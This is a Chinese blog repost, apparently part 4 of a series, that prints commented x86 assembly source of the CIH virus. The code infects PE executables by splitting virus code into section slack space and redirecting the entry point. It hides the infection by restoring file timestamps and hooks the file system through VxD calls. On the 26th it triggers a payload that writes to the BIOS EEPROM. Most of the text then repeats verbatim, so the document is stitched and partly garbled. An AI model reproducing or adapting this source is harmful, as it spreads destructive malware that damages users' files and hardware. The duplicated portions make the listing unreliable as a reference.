病毒程序源码实例剖析-CIH病毒[4]
程序员文章站
2022-04-21 17:18:09
...
push eax ;块表大小
push edx ;edx为病毒代码块表的偏移
push esi ;缓冲区地址
;合并的病毒代码块和病毒代码块表的总大小必须小于等于未使用的空间大小
inc ecx
push ecx ; Save NumberOfSections+1
shl ecx, 03h ;乘8
push ecx ;预留病毒块表空间
add ecx, eax
add ecx, edx ;ecx+文件的正文的偏移
sub ecx, (SizeOfHeaders-@9)[esi]
not ecx
inc ecx ;求补,ecx为文件头大小 - 正文的偏移 = 未用空间
push ecx
xchg ecx, eax ;ecx为块表大小
mov eax, (AddressOfEntryPoint-@9][esi] ;入口RVA地址
add eax, (ImageBase-@9)[esi] ;装入基址
mov (OriginalAddressOfEntryPoint-@9)[esi], eax ;保存装入后实际的入口地址
;未用空间和病毒第一块大小比较,如果小于就只设感染标志
cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark
; 读取所有病毒块表
mov eax, ebp ;读的功能号
call edi ;读块表到esi(@9处)
;下面完全修改处理Winzip自解压文件的错误,当用户打开自解压文件时,
;病毒不会感染。首先,病毒获得第2个块表的ToRawData指针,
;读取该块数据,判断是否包含“WinZip(R)”字样
xchg eax, ebp
push 00000004h
pop ecx 读4字节
push edx
mov edx, (SizeOfScetionTable+PointerToRawData-@9][ebx]
;edx为第二块的偏移(.rdata)
add edx, 12h ;加10h+2h(10h处为"WinZip....")
call edi ;读4字节到esi
;判断是否Winzip自解压文件,如果是就不设置感染标志
cmp dword ptr [esi], 'piZn'
je NotSetInfectedMark
pop edx ;edx指向块表在文件中首址
; 设置病毒代码块表
pop ebx ;未用空间大小
pop edi ;edi = TotalSizeOfVirusCodeSectionTabl
pop ecx ; ecx = NumberOfSections+1
push edi
add edx, ebp ; ebp为块表大小
push edx ;文件指针
add ebp, esi ; ebp指向病毒数据区的块表后(第一块)
push ebp ;缓冲区地址
; 设置第一个病毒代码块的大小
lea eax, [ebp+edi-04h]
mov [eax], ebx
; 设置第一个病毒块
push ebx ; 病毒代码第一块的大小
add edx, edi
push edx ;文件指针
lea edi, (MyVirusStart-@9)[esi]
push edi ;缓冲区地址
;修改AddressOfEntryPoint的入口为病毒入口
mov (NewAddressOfEntryPoint-@9)[esi], edx ;保存新的程序入口(病毒正文)
; 设置初始数据
lea edx, [esi-SizeOfScetionTable] ;edx先减一项块表长度
mov ebp, offset VirusSize ;ebp为病毒长度
jmp StartToWriteCodeToSections
;写信息到病毒块
LoopOfWriteCodeToSections:
add edx, SizeOfScetionTable
mov ebx, (SizeOfRawData-@9)[edx] ;ebx为该块表项的SizeOfRawData(块大小)
sub ebx, (VirtualSize-@9][edx] ;减去VirtualSize等于该块未用空间
jbe EndOfWriteCodeToSections
push ebx ; Size
sub eax, 08h
mov [eax], ebx ;写入病毒块表
mov ebx, (PointerToRawData-@9)[edx] ;ebx为块的物理(实际)偏移
add ebx, (VirtualSize-@9)[edx] ;加上VirtualSize
push ebx ;ebx指向该块未用空间的文件指针
push edi ; 缓冲区地址
mov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9)[edx]
add ebx, (ImageBase-@9)[esi] ;ebx为该块装入后的实际地址
mov [eax+4], ebx ;保存到病毒块表中
mov ebx, [eax] ;该块未用空间大小
add (VirtualSize-@9)[edx], ebx ;加到该块表项的VirtualSize
;改该块表项的块属性(改为可读,并包含初始化数据)
or (Characteristics-@9)[edx], 40000040h
;开始写代码
StartToWriteCodeToSections:
sub ebp, ebx ;病毒大小-病毒块大小
;如果小于(病毒插入完毕)就设置病毒块表结束符
jbe SetVirusCodeSectionTableEndMark
add edi, ebx ;指向病毒下一块
;写代码结束
EndOfWriteCodeToSections:
loop LoopOfWriteCodeToSections
OnlySetInfectedMark:
mov esp, dr1 ;只设置感染标志
jmp WriteVirusCodeToFile ;跳到写病毒到要传染的文件的程序
;不设置感染标志
NotSetInfectedMark:
add esp, 3ch
jmp CloseFile ;转到CloseFile处
;设置病毒块表和标记
SetVirusCodeSectionTableEndMark:
;调整病毒块代码
add [eax], ebp ;更正病毒块表的最后一项
add [esp+08h], ebp
;设置块表结束标志
xor ebx, ebx
mov [eax-04h], ebx
; 当病毒程序调用 Vxd指令时,VMM修改20号中断
lea eax, (LastVxdCallAddress-2-@9)[esi] ;上一个调用Vxd指令的地址
mov cl, VxdCallTableSize ;所用Vxd调用的个数
LoopOfRestoreVxdCallID:
mov word ptr [eax], 20cdh ;还原成“int 20h”的形式
;从VxdCallIDTable取出Vxd调用的id号放到edx
mov edx, (VxdCallIDTable+(ecx-1)*04h-@9)[esi]
mov [eax+2], edx ;放到“int 20h”的后面
;VxdCallAddressTable中放着各个调用Vxd的指令地址之差
movzx edx, byte ptr (VxdCallAddressTable+ecx-1-@9)[esi]
sub eax, edx ;eax为上一个调用地址
loop LoopOfRestoreVxdCallID ;还原其他的调用
; 把病毒代码写到文件中
WriteVirusCodeToFile:
mov eax, dr1 ;dr1为前面所保存的esp
mov ebx, [eax+10h] ;ebx为保存在栈中的保存文件句柄
mov edi, [eax] ;edi为保存在栈中的IFSMgr_Ring0_FileIO调用地址
;循环写入
LoopOfWriteVirusCodeToFile:
pop ecx ;病毒代码各段的偏移
jecxz SetFileModificationMark ;到病毒偏移零为止
mov esi, ecx
mov eax, 0d601h ;写文件功能号(R0_WRITEFILE)
pop edx ;文件指针
pop ecx ;要写的字节数
call edi ; VXD调用IFSMgr_Ring0_FileIO,写文件
;依次写入各段病毒代码、病毒块表、新的
;文件块表、新的程序入口、感染标志
jmp LoopOfWriteVirusCodeToFile
; 修改文件的最后修改时间,使用户不知道文件已经被修改
SetFileModificationMark:
pop ebx
pop eax
stc ;设置进位标志
pushf ;标志位入栈
; 关闭文件
CloseFile:
xor eax, eax
mov ah, 0d7h ;关闭文件功能号
call edi ; Vxd调用IFSMgr_Ring0_FileIO关闭文件
popf
pop esi
jnc IsKillComputer ;如果进位标志为0,就转向KillComputer
;恢复文件修改时间
mov ebx, edi
mov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@7)[esi]
call ebx ; Vxd调用IFSMgr_Ring0_FileIO,修改文件的最后修改时间
; 设置不“忙”标志
DisableOnBusy:
dec byte ptr (OnBusy-@7)[esi]
; 调用原来的FileSystemApiHook
prevhook:
popad ;恢复所有寄存器
mov eax, dr0 ; 保存的原来的文件系统钩子程序首址
jmp [eax] ;跳到原来的钩子去执行
pIFSFunc:
mov ebx, esp ; ebx指向esp以获得FileSystemApiHookFunction的参数地址
push dword ptr [ebx+20h+04h+14h] ;把参数pioreqpir入栈
call [ebx+20h+04h] ;调用pIFSFunc FSDFnAddr
pop ecx
mov [ebx+1ch], eax ;修改eax的值
; 调用了pIFSFunc之后,从返回值pioreq中获得数据
cmp dword ptr [ebx+20h+04h+04h], 00000024h
jne QuitMyVirusFileSystemHook
;获得在DOS模式下的文件的修改日期和时间
mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax ;保存获得的文件时间和日期
;退出病毒程序
QuitMyVirusFileSystemHook:
popad ;恢复所有寄存器
ret ;从病毒设置的文件钩子程序中退出
; 破坏计算机BIOS
IsKillComputer:
;从BIOS CMOS中获得当前日期
mov al, 07h
out 70h, al
in al, 71h
xor al, 26h ;判断是否是26号,
;如果是调试程序,则转向DisableOnBusy
IF DEBUG
jmp DisableOnBusy
ELSE
jnz DisableOnBusy ;如果不是26号,则转向DisableOnBusy,不进行破坏
ENDIF
;开始 破坏BIOS EEPROM *
mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]
;显示000E0000 - 000EFFFF 地址段的BIOS页面,共64KB
mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi
;显示000F0000 - 000FFFFF地址段的BIOS页面,共64KB
mov di, 0058h
dec edx ; and a0fh
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h
call esi
; 显示BIOS中额外的000E0000 - 000E01FF段的 ROM数据,共512个字节
;和可写的BIOS块
lea ebx, EnableEEPROMToWrite-@10[esi]
mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h
push edx ;edx为病毒代码块表的偏移
push esi ;缓冲区地址
;合并的病毒代码块和病毒代码块表的总大小必须小于等于未使用的空间大小
inc ecx
push ecx ; Save NumberOfSections+1
shl ecx, 03h ;乘8
push ecx ;预留病毒块表空间
add ecx, eax
add ecx, edx ;ecx+文件的正文的偏移
sub ecx, (SizeOfHeaders-@9)[esi]
not ecx
inc ecx ;求补,ecx为文件头大小 - 正文的偏移 = 未用空间
push ecx
xchg ecx, eax ;ecx为块表大小
mov eax, (AddressOfEntryPoint-@9][esi] ;入口RVA地址
add eax, (ImageBase-@9)[esi] ;装入基址
mov (OriginalAddressOfEntryPoint-@9)[esi], eax ;保存装入后实际的入口地址
;未用空间和病毒第一块大小比较,如果小于就只设感染标志
cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark
; 读取所有病毒块表
mov eax, ebp ;读的功能号
call edi ;读块表到esi(@9处)
;下面完全修改处理Winzip自解压文件的错误,当用户打开自解压文件时,
;病毒不会感染。首先,病毒获得第2个块表的ToRawData指针,
;读取该块数据,判断是否包含“WinZip(R)”字样
xchg eax, ebp
push 00000004h
pop ecx 读4字节
push edx
mov edx, (SizeOfScetionTable+PointerToRawData-@9][ebx]
;edx为第二块的偏移(.rdata)
add edx, 12h ;加10h+2h(10h处为"WinZip....")
call edi ;读4字节到esi
;判断是否Winzip自解压文件,如果是就不设置感染标志
cmp dword ptr [esi], 'piZn'
je NotSetInfectedMark
pop edx ;edx指向块表在文件中首址
; 设置病毒代码块表
pop ebx ;未用空间大小
pop edi ;edi = TotalSizeOfVirusCodeSectionTabl
pop ecx ; ecx = NumberOfSections+1
push edi
add edx, ebp ; ebp为块表大小
push edx ;文件指针
add ebp, esi ; ebp指向病毒数据区的块表后(第一块)
push ebp ;缓冲区地址
; 设置第一个病毒代码块的大小
lea eax, [ebp+edi-04h]
mov [eax], ebx
; 设置第一个病毒块
push ebx ; 病毒代码第一块的大小
add edx, edi
push edx ;文件指针
lea edi, (MyVirusStart-@9)[esi]
push edi ;缓冲区地址
;修改AddressOfEntryPoint的入口为病毒入口
mov (NewAddressOfEntryPoint-@9)[esi], edx ;保存新的程序入口(病毒正文)
; 设置初始数据
lea edx, [esi-SizeOfScetionTable] ;edx先减一项块表长度
mov ebp, offset VirusSize ;ebp为病毒长度
jmp StartToWriteCodeToSections
;写信息到病毒块
LoopOfWriteCodeToSections:
add edx, SizeOfScetionTable
mov ebx, (SizeOfRawData-@9)[edx] ;ebx为该块表项的SizeOfRawData(块大小)
sub ebx, (VirtualSize-@9][edx] ;减去VirtualSize等于该块未用空间
jbe EndOfWriteCodeToSections
push ebx ; Size
sub eax, 08h
mov [eax], ebx ;写入病毒块表
mov ebx, (PointerToRawData-@9)[edx] ;ebx为块的物理(实际)偏移
add ebx, (VirtualSize-@9)[edx] ;加上VirtualSize
push ebx ;ebx指向该块未用空间的文件指针
push edi ; 缓冲区地址
mov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9)[edx]
add ebx, (ImageBase-@9)[esi] ;ebx为该块装入后的实际地址
mov [eax+4], ebx ;保存到病毒块表中
mov ebx, [eax] ;该块未用空间大小
add (VirtualSize-@9)[edx], ebx ;加到该块表项的VirtualSize
;改该块表项的块属性(改为可读,并包含初始化数据)
or (Characteristics-@9)[edx], 40000040h
;开始写代码
StartToWriteCodeToSections:
sub ebp, ebx ;病毒大小-病毒块大小
;如果小于(病毒插入完毕)就设置病毒块表结束符
jbe SetVirusCodeSectionTableEndMark
add edi, ebx ;指向病毒下一块
;写代码结束
EndOfWriteCodeToSections:
loop LoopOfWriteCodeToSections
OnlySetInfectedMark:
mov esp, dr1 ;只设置感染标志
jmp WriteVirusCodeToFile ;跳到写病毒到要传染的文件的程序
;不设置感染标志
NotSetInfectedMark:
add esp, 3ch
jmp CloseFile ;转到CloseFile处
;设置病毒块表和标记
SetVirusCodeSectionTableEndMark:
;调整病毒块代码
add [eax], ebp ;更正病毒块表的最后一项
add [esp+08h], ebp
;设置块表结束标志
xor ebx, ebx
mov [eax-04h], ebx
; 当病毒程序调用 Vxd指令时,VMM修改20号中断
lea eax, (LastVxdCallAddress-2-@9)[esi] ;上一个调用Vxd指令的地址
mov cl, VxdCallTableSize ;所用Vxd调用的个数
LoopOfRestoreVxdCallID:
mov word ptr [eax], 20cdh ;还原成“int 20h”的形式
;从VxdCallIDTable取出Vxd调用的id号放到edx
mov edx, (VxdCallIDTable+(ecx-1)*04h-@9)[esi]
mov [eax+2], edx ;放到“int 20h”的后面
;VxdCallAddressTable中放着各个调用Vxd的指令地址之差
movzx edx, byte ptr (VxdCallAddressTable+ecx-1-@9)[esi]
sub eax, edx ;eax为上一个调用地址
loop LoopOfRestoreVxdCallID ;还原其他的调用
; 把病毒代码写到文件中
WriteVirusCodeToFile:
mov eax, dr1 ;dr1为前面所保存的esp
mov ebx, [eax+10h] ;ebx为保存在栈中的保存文件句柄
mov edi, [eax] ;edi为保存在栈中的IFSMgr_Ring0_FileIO调用地址
;循环写入
LoopOfWriteVirusCodeToFile:
pop ecx ;病毒代码各段的偏移
jecxz SetFileModificationMark ;到病毒偏移零为止
mov esi, ecx
mov eax, 0d601h ;写文件功能号(R0_WRITEFILE)
pop edx ;文件指针
pop ecx ;要写的字节数
call edi ; VXD调用IFSMgr_Ring0_FileIO,写文件
;依次写入各段病毒代码、病毒块表、新的
;文件块表、新的程序入口、感染标志
jmp LoopOfWriteVirusCodeToFile
; 修改文件的最后修改时间,使用户不知道文件已经被修改
SetFileModificationMark:
pop ebx
pop eax
stc ;设置进位标志
pushf ;标志位入栈
; 关闭文件
CloseFile:
xor eax, eax
mov ah, 0d7h ;关闭文件功能号
call edi ; Vxd调用IFSMgr_Ring0_FileIO关闭文件
popf
pop esi
jnc IsKillComputer ;如果进位标志为0,就转向KillComputer
;恢复文件修改时间
mov ebx, edi
mov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@7)[esi]
call ebx ; Vxd调用IFSMgr_Ring0_FileIO,修改文件的最后修改时间
; 设置不“忙”标志
DisableOnBusy:
dec byte ptr (OnBusy-@7)[esi]
; 调用原来的FileSystemApiHook
prevhook:
popad ;恢复所有寄存器
mov eax, dr0 ; 保存的原来的文件系统钩子程序首址
jmp [eax] ;跳到原来的钩子去执行
pIFSFunc:
mov ebx, esp ; ebx指向esp以获得FileSystemApiHookFunction的参数地址
push dword ptr [ebx+20h+04h+14h] ;把参数pioreqpir入栈
call [ebx+20h+04h] ;调用pIFSFunc FSDFnAddr
pop ecx
mov [ebx+1ch], eax ;修改eax的值
; 调用了pIFSFunc之后,从返回值pioreq中获得数据
cmp dword ptr [ebx+20h+04h+04h], 00000024h
jne QuitMyVirusFileSystemHook
;获得在DOS模式下的文件的修改日期和时间
mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax ;保存获得的文件时间和日期
;退出病毒程序
QuitMyVirusFileSystemHook:
popad ;恢复所有寄存器
ret ;从病毒设置的文件钩子程序中退出
; 破坏计算机BIOS
IsKillComputer:
;从BIOS CMOS中获得当前日期
mov al, 07h
out 70h, al
in al, 71h
xor al, 26h ;判断是否是26号,
;如果是调试程序,则转向DisableOnBusy
IF DEBUG
jmp DisableOnBusy
ELSE
jnz DisableOnBusy ;如果不是26号,则转向DisableOnBusy,不进行破坏
ENDIF
;开始 破坏BIOS EEPROM *
mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]
;显示000E0000 - 000EFFFF 地址段的BIOS页面,共64KB
mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi
;显示000F0000 - 000FFFFF地址段的BIOS页面,共64KB
mov di, 0058h
dec edx ; and a0fh
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h
call esi
; 显示BIOS中额外的000E0000 - 000E01FF段的 ROM数据,共512个字节
;和可写的BIOS块
lea ebx, EnableEEPROMToWrite-@10[esi]
mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h
以上就是病毒程序源码实例剖析-CIH病毒[4]的内容,更多相关内容请关注PHP中文网(www.php.cn)!